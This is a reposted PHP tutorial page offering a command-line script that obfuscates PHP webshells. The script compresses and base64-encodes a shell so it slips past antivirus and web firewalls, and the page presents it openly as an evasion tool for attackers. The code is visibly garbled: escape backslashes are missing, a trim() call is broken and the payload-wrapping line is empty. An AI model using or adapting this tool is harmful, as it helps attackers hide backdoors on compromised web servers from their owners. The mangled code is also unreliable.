Home >Backend Development >PHP Tutorial >PHP shell super powerful anti-virus and size reduction tool implementation code

PHP shell super powerful anti-virus and size reduction tool implementation code

高洛峰
高洛峰Original
2016-12-01 14:46:391437browse

Written by lostwolf
This is not a webshell, just a webshell anti-virus tool
Do not use the original webshell
Only anti-virus phpwebshell
This tool runs in cli mode!
If there is file content filtering that cannot be broken through, you can try this tool to avoid killing Malaysia!
Any php webshell can be bypassed by some BitTorrent firewalls in China after encoding with this tool
Copy the code The code is as follows:
/*
Title: PHP shell nokill T00L
Blog: exploit-db.blogcn.com
* /
error_reporting(0);
@ini_set('memory_limit','-1');
set_time_limit(0);
$toolname="$argv[0]";
if ($argc<2) {
baner ($toolname);
die;
}
$input_file= trim($argv[1]);
$output_file='nokill_'.$input_file;
if (file_exists($input_file)) {
No_kill_c0de($input_file, $output_file);
echo "PHP shell nokill T00Lrn";
echo "Blog: exploit-db.blogcn.comrn";
echo "Input: {$input_file}rn";
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR. $output_file;
echo "[+] Generate success!rn";
echo "Saved to {$file_full_path}"."rn";
} else {
echo "PHP shell nokill T00Lrn";
echo "Blog: exploit- db.blogcn.comrn";
die("[-] Failed ! The File $input_file does not exist");
}
function No_kill_c0de($input_file,$output_file){
$no_whitespace=php_strip_whitespace($input_file);
$no_php_tag=trim(trim(trim($no_whitespace,'');
$enfile=base64_encode(gzdeflate($no_php_tag));
$shellcode ="x3cx3fx70x68x70xdxa";
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."xdxa";
$shellcode.="";
$shellcode .="x3fx3e";
file_put_contents("$output_file",$shellcode);
}
function baner($toolname){
echo "PHP shell nokill T00Lrn";
echo "Blog: exploit-db.blogcn.comrn" ;
echo "Usage: {$toolname} phpwebshellrn";
}
?>

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn